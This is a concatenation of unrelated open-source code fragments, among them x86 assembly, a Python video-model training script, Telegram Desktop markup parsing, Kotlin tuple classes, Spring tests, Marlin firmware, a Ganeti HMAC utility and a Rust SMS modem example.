%rdi, 8(%rsp)

movq    0(%rdi), %r8
movq    8(%rdi), %r9
movq    16(%rdi), %r10
movq    24(%rdi), %r11
movq    32(%rdi), %rax
movq    40(%rdi), %rcx
movq    48(%rdi), %rdx
movq    56(%rdi), %rsi

movq	%r8, %rdi
andq	mask56(%rip), %r8
shrq	$56, %rdi
addq	%rdi, %r9

movq	%r9, %rdi
andq	mask56(%rip), %r9
shrq	$56, %rdi
addq	%rdi, %r10

movq	%r10, %rdi
andq	mask56(%rip), %r10
shrq	$56, %rdi
addq	%rdi, %r11

movq	%r11, %rdi
andq	mask56(%rip), %r11
shrq	$56, %rdi
addq	%rdi, %rax

movq	%rax, %rdi
andq	mask56(%rip), %rax
shrq	$56, %rdi
addq	%rdi, %rcx

movq	%rcx, %rdi
andq	mask56(%rip), %rcx


ompt in zip(validation_images, validation_prompts):
            for validation_image in validation_images_list:
                ###############################################
                ### make id_token distinguish camera control ##
                ###############################################
                filename = os.path.basename(validation_image)
                if "right" in filename:
                    id_token = "CAMERA_ORBIT_RIGHT" + " " + "Camera movement orbit right,"
                elif "left" in filename:
                    id_token = "CAMERA_ORBIT_LEFT" + " " + "Camera movement orbit left,"
                elif "up" in filename:
                    id_token = "CAMERA_ORBIT_UP" + " " + "Camera movement orbit up,"
                elif "down" in filename:
                    id_token = "CAMERA_ORBIT_DOWN" + " " + "Camera movement orbit down,"
                elif "zoomin" in filename:
                    id_token = "CAMERA_ZOOM_IN" + " " + "Camera movement zoom in,"
                elif "zoomout" in filename:
                    id_token = "CAMERA_ZOOM_OUT" + " " + "Camera movement zoom out,"
                else:
                    id_token = ""

                print(f"filename: {filename} | id_token: {id_token}")
                validation_prompt = id_token + " " + args.validation_prompt

                pipeline_args = {
                    "image": load_image(validation_image),
                    "prompt": validation_prompt,
                    "guidance_scale": args.guidance_scale,
                    "use_dynamic_cfg": args.use_dynamic_cfg,
                    "height": args.height,
                    "width": args.width,
                }

                video = log_validation(
                    accelerator=accelerator,
                    pipe=pipe,
                    args=args,
                    pipeline_args=pipeline_args,
                    is_final_validation=True,
                    image_id=os.path.basename(validation_image)[:-4],
                )
                validation_outputs.extend(video)

        accelerator.print("===== Memory after testing =====")
        print_memory(accelerator.device)
        reset_memory(accelerator.device)
        torch.cuda.synchronize(accelerator.device)

        if args.push_to_hub and False:
            save_model_card(
                repo_id,
                videos=validation_outputs,
                base_model=args.pretrained_model_name_or_path,
                validation_prompt=args.validation_prompt,
                repo_folder=args.output_dir,
                fps=args.fps,
            )
            upload_folder(
                repo_id=repo_id,
                folder_path=args.output_dir,
                commit_message="End of training",
                ignore_patterns=["step_*", "epoch_*"],
            )

    accelerator.end_training()

if __name__ == "__main__":
    args = get_args()
    main(args)


ext,
	const QByteArray &data,
	const QString &forwardText,
	int64 buttonId)
: type(type)
, text(text)
, forwardText(forwardText)
, data(data)
, buttonId(buttonId) {
}

HistoryMessageMarkupButton *HistoryMessageMarkupButton::Get(
		not_null<Data::Session*> owner,
		FullMsgId itemId,
		int row,
		int column) {
	if (const auto item = owner->message(itemId)) {
		if (const auto markup = item->Get<HistoryMessageReplyMarkup>()) {
			if (row < markup->data.rows.size()) {
				auto &buttons = markup->data.rows[row];
				if (column < buttons.size()) {
					return &buttons[column];
				}
			}
		}
	}
	return nullptr;
}

void HistoryMessageMarkupData::fillRows(
		const QVector<MTPKeyboardButtonRow> &list) {
	rows.clear();
	if (list.isEmpty()) {
		return;
	}

	using Type = Button::Type;
	rows.reserve(list.size());
	for (const auto &row : list) {
		row.match([&](const MTPDkeyboardButtonRow &data) {
			auto row = std::vector<Button>();
			row.reserve(data.vbuttons().v.size());
			for (const auto &button : data.vbuttons().v) {
				button.match([&](const MTPDkeyboardButton &data) {
					row.emplace_back(Type::Default, qs(data.vtext()));
				}, [&](const MTPDkeyboardButtonCallback &data) {
					row.emplace_back(
						(data.is_requires_password()
							? Type::CallbackWithPassword
							: Type::Callback),
						qs(data.vtext()),
						qba(data.vdata()));
				}, [&](const MTPDkeyboardButtonRequestGeoLocation &data) {
					row.emplace_back(Type::RequestLocation, qs(data.vtext()));
				}, [&](const MTPDkeyboardButtonRequestPhone &data) {
					row.emplace_back(Type::RequestPhone, qs(data.vtext()));
				}, [&](const MTPDkeyboardButtonRequestPeer &data) {
					const auto query = RequestPeerQueryFromTL(data);
					row.emplace_back(
						Type::RequestPeer,
						qs(data.vtext()),
						QByteArray(
							reinterpret_cast<const char*>(&query),
							sizeof(query)),
						QString(),
						int64(data.vbutton_id().v));
				}, [&](const MTPDkeyboardButtonUrl &data) {
					row.emplace_back(
						Type::Url,
						qs(data.vtext()),
						qba(data.vurl()));
				}, [&](const MTPDkeyboardButtonSwitchInline &data) {
					const auto type = data.is_same_peer()
						? Type::SwitchInlineSame
						: Type::SwitchInline;
					row.emplace_back(type, qs(data.vtext()), qba(data.vquery()));
					if (type == Type::SwitchInline) {
						// Optimization flag.
						// Fast check on all new messages if there is a switch button to auto-click it.
						flags |= ReplyMarkupFlag::HasSwitchInlineButton;
						if (const auto types = data.vpeer_types()) {
							row.back().peerTypes = PeerTypesFromMTP(*types);
						}
					}
				}, [&](const MTPDkeyboardButtonGame &data) {
					row.emplace_back(Type::Game, qs(data.vtext()));
				}, [&](const MTPDkeyboardButtonBuy &data) {
					row.emplace_back(Type::Buy, qs(data.vtext()));
				}, [&](const MTPDkeyboardButtonUrlAuth &data) {
					row.emplace_back(
						Type::Auth,
						qs(data.vtext()),
						qba(data.vurl()),
						qs(data.vfwd_text().value_or_empty()),


d("Use sixth instead", ReplaceWith("sixth"))
  val f: F,
  @Deprecated("Use seventh instead", ReplaceWith("seventh"))
  val g: G,
  @Deprecated("Use eighth instead", ReplaceWith("eighth"))
  val h: H,
  @Deprecated("Use ninth instead", ReplaceWith("ninth"))
  val i: I,
  @Deprecated("Use tenth instead", ReplaceWith("tenth"))
  val j: J,
  @Deprecated("Use eleventh instead", ReplaceWith("eleventh"))
  val k: K,
  @Deprecated("Use twelfth instead", ReplaceWith("twelfth"))
  val l: L
) : Tuple12Of<A, B, C, D, E, F, G, H, I, J, K, L> {
  val first: A = a
  val second: B = b
  val third: C = c
  val fourth: D = d
  val fifth: E = e
  val sixth: F = f
  val seventh: G = g
  val eight: H = h
  val ninth: I = i
  val tenth: J = j
  val eleventh: K = k
  val twelfth: L = l

  companion object
}

@Deprecated(
  message = KindDeprecation,
  level = DeprecationLevel.WARNING
)
class ForTuple13 private constructor() {
  companion object
}

@Deprecated(
  message = KindDeprecation,
  level = DeprecationLevel.WARNING
)
typealias Tuple13Of<A, B, C, D, E, F, G, H, I, J, K, L, M> = arrow.Kind13<ForTuple13, A, B, C, D, E, F, G, H, I, J, K, L, M>

@Deprecated(
  message = KindDeprecation,
  level = DeprecationLevel.WARNING
)
typealias Tuple13PartialOf<A, B, C, D, E, F, G, H, I, J, K, L> = arrow.Kind12<ForTuple13, A, B, C, D, E, F, G, H, I, J, K, L>

@Suppress("UNCHECKED_CAST", "NOTHING_TO_INLINE")
@Deprecated(
  message = KindDeprecation,
  level = DeprecationLevel.WARNING
)
inline fun <A, B, C, D, E, F, G, H, I, J, K, L, M> Tuple13Of<A, B, C, D, E, F, G, H, I, J, K, L, M>.fix(): Tuple13<A, B, C, D, E, F, G, H, I, J, K, L, M> =
  this as Tuple13<A, B, C, D, E, F, G, H, I, J, K, L, M>

data class Tuple13<out A, out B, out C, out D, out E, out F, out G, out H, out I, out J, out K, out L, out M>(
  @Deprecated("Use first instead", ReplaceWith("first"))
  val a: A,
  @Deprecated("Use second instead", ReplaceWith("second"))
  val b: B,
  @Deprecated("Use third instead", ReplaceWith("third"))
  val c: C,
  @Deprecated("Use fourth instead", ReplaceWith("fourth"))
  val d: D,
  @Deprecated("Use fifth instead", ReplaceWith("fifth"))
  val e: E,
  @Deprecated("Use sixth instead", ReplaceWith("sixth"))
  val f: F,
  @Deprecated("Use seventh instead", ReplaceWith("seventh"))
  val g: G,
  @Deprecated("Use eighth instead", ReplaceWith("eighth"))
  val h: H,
  @Deprecated("Use ninth instead", ReplaceWith("ninth"))
  val i: I,
  @Deprecated("Use tenth instead", ReplaceWith("tenth"))
  val j: J,
  @Deprecated("Use eleventh instead", ReplaceWith("eleventh"))
  val k: K,
  @Deprecated("Use twelfth


t freq = this.noteToFrequency(note);
        gateNode.offset.value = 1;
        freqNode.offset.value = freq;
        lastNote = note;
      } else if (
        command === MidiB0.NOTE_OFF ||
        (command === MidiB0.NOTE_ON && velocity === 0)
      ) {
        if (note === lastNote) {
          gateNode.offset.value = 0;
        }
      }
    });
  }

  noteToFrequency(note: number) {
    return (440 / 32) * 2 ** ((note - 9) / 12);
  }
}
import { Component, OnInit, Input, Output, EventEmitter } from '@angular/core';

@Component({
  selector: 'demo-input',
  templateUrl: './demo-input.component.html',
  styleUrls: ['./demo-input.component.css']
})
export class DemoInputComponent  {

  @Input('value') value = '';
  @Output() valueChange = new EventEmitter();

  valueTwo = '';
  customValue = '';

  templateInputVariable = '';

  updateValue(value) {
    this.value = value;
    this.valueChange.emit(value);
  }

  onKeyUp() {
    console.log('w/o ngModel emitting', this.value);
  }

  onKeyUpTwo() {
    console.log('with ngModel emitting', this.valueTwo);
  }

  onTemplateVarChange(inputVal: string) {
    this.templateInputVariable = inputVal.toLowerCase();
  }
}
import { Derivable, SettableDerivable, Unwrappable } from '../../interfaces';
import { config } from '../../utils';
import { lens } from '../factories';
import { isDerivable } from '../typeguards';

export function pluckMethod<V>(this: Derivable<V>, key: Unwrappable<string | number>): Derivable<any> {
    const { get } = config.plucker;
    if (isDerivable(key)) {
        return this.derive(get, key);
    }
    return this.map(v => get.call(this, v, key));
}

export function settablePluckMethod<V>(this: SettableDerivable<V>, key: Unwrappable<string | number>): SettableDerivable<any> {
    const { get, set } = config.plucker;
    const base = this;
    if (isDerivable(key)) {
        return lens({
            get() { return get.call(this, base.get(), key.get()); },
            set(newValue) { base.set(set.call(this, newValue, base.value, key.get())); },
        });
    }
    return base.map(
        baseValue => get.call(this, baseValue, key),
        newValue => set.call(this, newValue, base.value, key),
    );
}
import {assert, expect} from "chai";
import * as sinon from "sinon";

import {CircuitBreaker, CircuitState} from "../src";

const assertOpenCircuit = (circuit: CircuitBreaker) =>
  assert(circuit.isOpen, "CircuitBreaker should be open");

const assertHalfOpenCircuit = (circuit: CircuitBreaker) =>
  assert(circuit.isHalfOpen, "CircuitBreaker should be half-open");

const assertClosedCircuit = (circuit: CircuitBreaker) =>
  assert(circuit.isClosed, "CircuitBreaker should be closed");

const callAndAssertCalled = async (circuit: CircuitBreaker, spy: sinon.SinonSpy) => {
  await circuit.call();
  assert(spy.called);
};

const assertOpenError = (err: Error) => {
  expect(err).to.be.instanceOf(Error);
  assert(err.message === "Circuit is open");
};

const assertHalfOpenError = (err: Error) => {
  expect(err).to.be.instanceOf(Error);
  assert(err.message === "Circuit is half


dpPorts(4);
	}

	@Test
	void find50AvailableUdpPorts() {
		findAvailableUdpPorts(50);
	}

	@Test
	void find4AvailableUdpPortsInRange() {
		findAvailableUdpPorts(4, 30000, 35000);
	}

	@Test
	void find50AvailableUdpPortsInRange() {
		findAvailableUdpPorts(50, 40000, 45000);
	}

	@Test
	void findAvailableUdpPortsWithRequestedNumberGreaterThanSizeOfRange() {
		assertThatIllegalArgumentException().isThrownBy(() -> findAvailableUdpPorts(50, 45000, 45010));
	}

	// Helpers

	private void findAvailableTcpPorts(int numRequested) {
		SortedSet<Integer> ports = TestSocketUtils.findAvailableTcpPorts(numRequested);
		assertAvailablePorts(ports, numRequested, TestSocketUtils.PORT_RANGE_MIN, TestSocketUtils.PORT_RANGE_MAX);
	}

	private void findAvailableTcpPorts(int numRequested, int minPort, int maxPort) {
		SortedSet<Integer> ports = TestSocketUtils.findAvailableTcpPorts(numRequested, minPort, maxPort);
		assertAvailablePorts(ports, numRequested, minPort, maxPort);
	}

	private void findAvailableUdpPorts(int numRequested) {
		SortedSet<Integer> ports = TestSocketUtils.findAvailableUdpPorts(numRequested);
		assertAvailablePorts(ports, numRequested, TestSocketUtils.PORT_RANGE_MIN, TestSocketUtils.PORT_RANGE_MAX);
	}

	private void findAvailableUdpPorts(int numRequested, int minPort, int maxPort) {
		SortedSet<Integer> ports = TestSocketUtils.findAvailableUdpPorts(numRequested, minPort, maxPort);
		assertAvailablePorts(ports, numRequested, minPort, maxPort);
	}

	private void assertPortInRange(int port, int minPort, int maxPort) {
		assertThat(port >= minPort).as("port [" + port + "] >= " + minPort).isTrue();
		assertThat(port <= maxPort).as("port [" + port + "] <= " + maxPort).isTrue();
	}

	private void assertAvailablePorts(SortedSet<Integer> ports, int numRequested, int minPort, int maxPort) {
		assertThat(ports.size()).as("number of ports requested").isEqualTo(numRequested);
		for (int port : ports) {
			assertPortInRange(port, minPort, maxPort);
		}
	}

}
/*
 * Copyright 2012-present the original author or authors.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package org.springframework.cloud.loadbalancer.core;

import java.net.URI;

import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;

import org.springframework.cloud.client.DefaultServiceInstance;
import org.springframework.cloud.client.ServiceInstance;
import org.springframework.cloud.client.loadbalancer.LoadBalancerProperties;
import org.springframework.cloud.loadbalancer.support.LoadBalancerClientFactory;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpMethod;
import org.springframework.web.reactive.function.client.ClientRequest;

import static org


Values(513, 514), 0);

		let t : boolean = rg.sortNode(n);
		let t2 : boolean = rg.sortNode(n2);
		let t2e : boolean = rg.getNodeAtPos(vec2.fromValues(40, 20)).equals(n, 0.1);
		let t3 : boolean = rg.sortNode(n3);

		if(t && !t2 && t2e && !t3) {
			console.log("Road Generator Sort Node Unsuccessful: passed!");
		} else {
			console.log("Road Generator Sort Node Unsuccessful: failed.", t, t2, t2e, t3);
		}
	}

	function testRoadGeneratorSortEdgeSuccessful() {
		let e : Edge = new Edge(vec2.fromValues(0, 70), vec2.fromValues(50, 300), 0, false);

		let t : boolean = rg.sortEdge(e);
		let t2 : boolean = rg.ecells[8][0].equals(e, 0.1);
		let t3 : boolean = rg.ecells[16][0].equals(e, 0.1);
		let t4 : boolean = rg.ecells[24][0].equals(e, 0.1);
		let t5 : boolean = rg.ecells[32][0].equals(e, 0.1);

		if(t && t2 && t3 && t4 && t5) {
			console.log("Road Generator Sort Edge Successful: passed!");
		} else {
			console.log("Road Generator Sort Edge Successful: failed.", t, t2, t3, t4, t5);
		}
	}

	function testRoadGeneratorSortEdgeUnsuccessful() {
		let e : Edge = new Edge(vec2.fromValues(514, 514), vec2.fromValues(600, 600), 0, false);
		if(!rg.sortEdge(e)) {
			console.log("Road Generator Sort Edge Unsuccessful: passed!");
		} else {
			console.log("Road Generator Sort Edge Unsuccessful: failed.");
		}
	}

	function testRoadGeneratorSortEdgeIntersection() {
		let sortedEdge : Edge = new Edge(vec2.fromValues(100, 100), vec2.fromValues(200, 200), 0, false);
		let intersectingEdge : Edge = new Edge(vec2.fromValues(125, 150), vec2.fromValues(210, 180), 1, false);

		rg.sortEdge(sortedEdge);

		let interCells : Array<number> = rg.getEdgeCells(intersectingEdge);
    	for(let i = 0; i < interCells.length; i++) {
    		let cellNum = interCells[i];
      		for(let j = 0; j < rg.ecells[cellNum].length; j++) {
        		let inter : vec2 = intersectingEdge.intersectEdge(rg.ecells[cellNum][j]);
        		if(vec2Equality(inter, sortedEdge.intersectEdge(intersectingEdge))) {
        			console.log("Road Generator Sort Edge Intersection: passed!");
        		} else {
        			console.log("Road Generator Sort Edge Intersection: failed.",
        						inter, sortedEdge.intersectEdge(intersectingEdge));
        		}
        	}
    	}

	}

	testRoadGeneratorOutOfBoundsYes();
	testRoadGeneratorOutOfBoundsNo();
	testRoadGeneratorGetPosCellNumber();
	testRoadGeneratorGetNodeAtPos();
	testRoadGeneratorGetNodeAtPosUndefined();
	testRoadGeneratorGetEdgeCells();
	testRoadGeneratorSortNodeSuccessful()
	testRoadGeneratorSortNodeUnsuccessful();
	testRoadGeneratorSortEdgeSuccessful();
	testRoadGeneratorSortEdgeUnsuccessful();
	testRoadGeneratorSortEdgeIntersection();
}import { access, constants, promises } from "fs";

// use https://nodejs.org/dist/latest-v12.x/docs/api/fs.html#fs_fs_promises_api

export async function accessAsync(path: string, mode = constants.F_OK): Promise<[boolean, NodeJS.ErrnoException | null]> {
    return new Promise<[boolean, NodeJS.ErrnoException | null]>((resolve) => {
        access(path, mode, (err) => {
            resolve([err ? true : false, err]);
        });
    });
}

// export async function appendFileAsync(file: string | number | Buffer | URL, data:


ScreenshotReturnType\" class=\"name\">ScreenshotReturnType. It can be either a path to the screenshot file as string or Path object, or the image data as bytes or base64 encoded string.	\n
\n
\ntimeout	\nMaximum time how long taking screenshot can last, defaults to library timeout. Supports Robot Framework time format, like 10s or 1 min, pass 0 to disable timeout. The default value can be changed by using the Set Browser Timeout keyword.	\n
\n
\n
Keyword uses strict mode if selector is defined. See Finding elements for more details about strict mode.
\n
Example
\n
\nTake Screenshot                                 # Takes screenshot from page with default filename\nTake Screenshot   selector=id=username_field    # Captures element in image\n# Takes screenshot with jpeg extension, defines image quality and timeout how long taking screenshot should last\nTake Screenshot   fullPage=True    fileType=jpeg    quality=50    timeout=10s\nTake Screenshot   EMBED                         # Screenshot is embedded as Base64 image to the log.html.\nTake Screenshot   UUID                          # Takes screenshot from page with filename generated by: https://docs.python.org/3/library/uuid.html.\n
\n
Comment >>
", "shortdoc": "Takes a screenshot of the current window or element and saves it to disk.", "tags": ["PageContent"], "source": "/Users/tatuaalto/workspace/robotframework-playwright/Browser/keywords/browser_control.py", "lineno": 132}, {"name": "Tap", "args": [{"name": "selector", "type": {"name": "str", "typedoc": "string", "nested": [], "union": false}, "defaultValue": null, "kind": "POSITIONAL_OR_NAMED", "required": true, "repr": "selector: str"}, {"name": "modifiers", "type": {"name": "KeyboardModifier", "typedoc": "KeyboardModifier", "nested": [], "union": false}, "defaultValue": null, "kind": "VAR_POSITIONAL", "required": false, "repr": "*modifiers: KeyboardModifier"}, {"name": "force", "type": {"name": "bool", "typedoc": "boolean", "nested": [], "union": false}, "defaultValue": "False", "kind": "NAMED_ONLY", "required": false, "repr": "force: bool = False"}, {"name": "noWaitAfter", "type": {"name": "bool", "typedoc": "boolean", "nested": [], "union": false}, "defaultValue": "False", "kind": "NAMED_ONLY", "required": false, "repr": "noWaitAfter: bool = False"}, {"name": "position_x", "type": {"name": "Union", "typedoc": null, "nested": [{"name": "int", "typedoc": "integer", "nested": [], "union": false}, {"name": "None", "typedoc": "None", "nested": [], "union": false}], "union": true}, "defaultValue": "None", "kind": "NAMED_ONLY", "required": false, "repr": "position_x: int | None = None"}, {"name": "position_y", "type": {"name": "Union", "typedoc": null, "nested": [{"na


 {
            case encrot1:
              if (lastEncoderBits == encrot0) {
                enc_diff--;
                encoder_time1 = tmpTime;
              }
              break;
            case encrot2:
              if (lastEncoderBits == encrot0) {
                enc_diff++;
                encoder_time1 = tmpTime;
              }
              break;
          }
          lastEncoderBits = enc;
        }
        static uint8_t last_button_state = LV_INDEV_STATE_REL;
        const uint8_t enc_c = (buttons & EN_C) ? LV_INDEV_STATE_PR : LV_INDEV_STATE_REL;
        if (enc_c != last_button_state) {
          state = enc_c ? LV_INDEV_STATE_PR : LV_INDEV_STATE_REL;
          last_button_state = enc_c;
        }

      #endif // HAS_ENCODER_WHEEL

    } // encoder_time1
  }

#endif // HAS_ENCODER_ACTION

#if __PLAT_NATIVE_SIM__
  #include <lv_misc/lv_log.h>
  typedef void (*lv_log_print_g_cb_t)(lv_log_level_t level, const char *, uint32_t, const char *);
  extern "C" void lv_log_register_print_cb(lv_log_print_g_cb_t print_cb) {}
#endif

#endif // HAS_TFT_LVGL_UI
/**
 * Marlin 3D Printer Firmware
 * Copyright (c) 2020 MarlinFirmware [https://github.com/MarlinFirmware/Marlin]
 *
 * Based on Sprinter and grbl.
 * Copyright (c) 2011 Camiel Gubbels / Erik van der Zalm
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 */

#include "../../../inc/MarlinConfigPre.h"

#if HAS_TFT_LVGL_UI

#include "../../../MarlinCore.h"
#include "draw_ready_print.h"
#include "draw_set.h"
#include "lv_conf.h"
#include "draw_ui.h"
#include "../../../gcode/queue.h"

extern lv_group_t * g;
static lv_obj_t * scr;

enum {
  ID_GCODE = 1,
  #if HAS_USER_ITEM(1)
    ID_CUSTOM_1,
  #endif
  #if HAS_USER_ITEM(2)
    ID_CUSTOM_2,
  #endif
  #if HAS_USER_ITEM(3)
    ID_CUSTOM_3,
  #endif
  #if HAS_USER_ITEM(4)
    ID_CUSTOM_4,
  #endif
  #if HAS_USER_ITEM(5)
    ID_CUSTOM_5,
  #endif
  #if HAS_USER_ITEM(6)
    ID_CUSTOM_6,
  #endif
  ID_M_RETURN,
};

static void event_


#
#

# Copyright (C) 2006, 2007, 2010, 2011 Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

"""Utility functions for hashing.

"""

import os
import hmac

from hashlib import sha1

from ganeti import compat

def Sha1Hmac(key, msg, salt=None):
  """Calculates the HMAC-SHA1 digest of a message.

  HMAC is defined in RFC2104.

  @type key: string
  @param key: Secret key
  @type msg: string or bytes

  """
  key = key.encode("utf-8")

  if isinstance(msg, str):
    msg = msg.encode("utf-8")

  if salt:
    salt = salt.encode("utf-8")
    salted_msg = salt + msg
  else:
    salted_msg = msg

  return hmac.new(key, salted_msg, sha1).hexdigest()

def VerifySha1Hmac(key, text, digest, salt=None):
  """Verifies the HMAC-SHA1 digest of a text.

  HMAC is defined in RFC2104.

  @type key: string
  @param key: Secret key
  @type text: string
  @type digest: string
  @param digest: Expected digest
  @rtype: bool
  @return: Whether HMAC-SHA1 digest matches

  """
  return digest.lower() == Sha1Hmac(key, text, salt=salt).lower()

def _FingerprintFile(filename):
  """Compute the fingerprint of a file.

  If the file does not exist, a None will be returned
  instead.

  @type filename: str
  @param filename: the filename to checksum
  @rtype: str
  @return: the hex digest of the sha checksum of the contents
      of the file

  """
  if not (os.path.exists(filename) and os.path.isfile(filename)):
    return None

  fp = sha1()

  with open(filename, "rb") as f:
    while True:
      data = f.read(4096)
      if not data:
        break

      fp.update(data)

  return fp.hexdigest()

def FingerprintFiles(files):
  """Compute fingerprints for a list of files.

  @type files: list
  @param files: the list of filename to fingerprint
  @rtype: dict
  @return: a dictionary filename: fingerprint, holding only
      existing files

  """
  ret = {}

  for filename in files:
    cksum = _FingerprintFile(filename)
    if cksum:
      ret[filename] = cksum

  return ret


_(XR_MSFT_scene_understanding_serialization, 99) \
    _(XR_FB_display_refresh_rate, 102) \
    _(XR_HTC_vive_cosmos_controller_interaction, 103) \
    _(XR_HTCX_vive_tracker_interaction, 104) \
    _(XR_HTC_facial_tracking, 105) \
    _(XR_HTC_vive_focus3_controller_interaction, 106) \
    _(XR_HTC_hand_interaction, 107) \
    _(XR_HTC_vive_wrist_tracker_interaction, 108) \
    _(XR_FB_color_space, 109) \
    _(XR_FB_hand_tracking_mesh, 111) \
    _(XR_FB_hand_tracking_aim, 112) \
    _(XR_FB_hand_tracking_capsules, 113) \
    _(XR_FB_spatial_entity, 114) \
    _(XR_FB_foveation, 115) \
    _(XR_FB_foveation_configuration, 116) \
    _(XR_FB_keyboard_tracking, 117) \
    _(XR_FB_triangle_mesh, 118) \
    _(XR_FB_passthrough, 119) \
    _(XR_FB_render_model, 120) \
    _(XR_KHR_binding_modification, 121) \
    _(XR_VARJO_foveated_rendering, 122) \
    _(XR_VARJO_composition_layer_depth_test, 123) \
    _(XR_VARJO_environment_depth_estimation, 124) \
    _(XR_VARJO_marker_tracking, 125) \
    _(XR_VARJO_view_offset, 126) \
    _(XR_ML_ml2_controller_interaction, 135) \
    _(XR_MSFT_spatial_anchor_persistence, 143) \
    _(XR_ULTRALEAP_hand_tracking_forearm, 150) \
    _(XR_FB_spatial_entity_query, 157) \
    _(XR_FB_spatial_entity_storage, 159) \
    _(XR_OCULUS_audio_device_guid, 160) \
    _(XR_FB_foveation_vulkan, 161) \
    _(XR_FB_swapchain_update_state_android_surface, 162) \
    _(XR_FB_swapchain_update_state_opengl_es, 163) \
    _(XR_FB_swapchain_update_state_vulkan, 164) \
    _(XR_KHR_swapchain_usage_input_attachment_bit, 166) \
    _(XR_FB_space_warp, 172) \
    _(XR_FB_scene, 176) \
    _(XR_EXT_palm_pose, 177) \
    _(XR_ALMALENCE_digital_lens_control, 197) \
    _(XR_FB_spatial_entity_container, 200) \
    _(XR_FB_passthrough_keyboard_hands, 204) \
    _(XR_FB_composition_layer_settings, 205) \
    _(XR_META_vulkan_swapchain_create_info, 228) \
    _(XR_META_performance_metrics, 233) \
    _(XR_META_headset_id, 246) \
    _(XR_EXT_uuid, 300) \
    _(XR_HTC_passthrough, 318) \
    _(XR_HTC_foveation, 319) \
    _(XR_EXT_active_action_set_priority, 374) \

#endif


logger::init().unwrap();
    let mut core = Core::new().unwrap();
    let mut modem = HuaweiModem::new_from_path("/dev/cu.xrusbmodem144511", &core.handle()).unwrap();
    let urcfut = modem.take_urc_rx().unwrap().for_each(|item| {
        println!("URC: {:?}", item);
        Ok(())
    });
    core.handle().spawn(urcfut);
    println!("Setting textmode false...");
    let fut = cmd::sms::set_sms_textmode(&mut modem, false);
    println!("Result: {:?}", core.run(fut));
    println!("Setting new message indications...");
    let fut = cmd::sms::set_new_message_indications(&mut modem,
                                                    cmd::sms::NewMessageNotification::SendDirectlyOrBuffer,
                                                    cmd::sms::NewMessageStorage::StoreAndNotify);
    println!("Result: {:?}", core.run(fut));
    println!("\n### Instructions for use ###");
    println!("- Read messages by typing 'read'");
    println!("- Send messages by typing '[recipient];[message]', replacing [recipient] with the phone number and [message] with the message");
    println!("- Delete all messages by typing 'del'");
    println!("");
    let stdin = ::std::io::stdin();
    let lock = stdin.lock();
    for ln in lock.lines() {
        let ln = ln.unwrap();
        if ln == "read" {
            println!("Reading messages...");
            let fut = cmd::sms::list_sms_pdu(&mut modem, cmd::sms::MessageStatus::All)
                .map(|v| {
                    for msg in v {
                        println!("Message: {:?}", msg);
                        let dec = msg.pdu.get_message_data().decode_message();
                        match dec {
                            Ok(dm) => {
                                println!("Text: {}", dm.text);
                                if let Some(u) = dm.udh {
                                    println!("User data header: {:?}", u);
                                }
                            },
                            Err(e) => {
                                println!("Decode failed: {}", e);
                            },
                        }
                    }
                });
            println!("Result: {:?}", core.run(fut));
            continue;
        }
        if ln == "del" {
            println!("Deleting messags...");
            let fut = cmd::sms::del_sms_pdu(&mut modem, cmd::sms::DeletionOptions::DeleteAll);
            println!("Result: {:?}", core.run(fut));
            continue;
        }
        let ln = ln.split(";").collect::<Vec<_>>();
        println!("Sending \"{}\" to {}...", ln[1], ln[0]);
        let recipient: PduAddress = ln[0].parse().unwrap();
        println!("Recipient: {:?}", recipient);
        let msg = GsmMessageData::encode_message(ln[1]);
        println!("Message data: {:?}", msg);
        for msg in msg {
            let msg = Pdu::make_simple_message(recipient.clone(), msg);
            println!("PDU: {:?}", msg);
            println!("Encoded P


using OpenTS2.Content.DBPF;
using System;
using UnityEngine;

namespace OpenTS2.Scenes.Lot.Roof
{
    public class DiagonalGableRoof : AbstractSimpleRoof
    {
        public DiagonalGableRoof(RoofEntry entry, float height, bool isLong, bool pagoda = false) : base(entry, height)
        {
            Vector2 diagVec = GetDiagonalVector(entry);
            int dir = DetermineDirection(diagVec);

            Vector2 from = new Vector2(entry.XFrom, entry.YFrom);

            float minX = Math.Min(0, diagVec.x);
            float maxX = Math.Max(0, diagVec.x);
            float minY = Math.Min(0, diagVec.y);
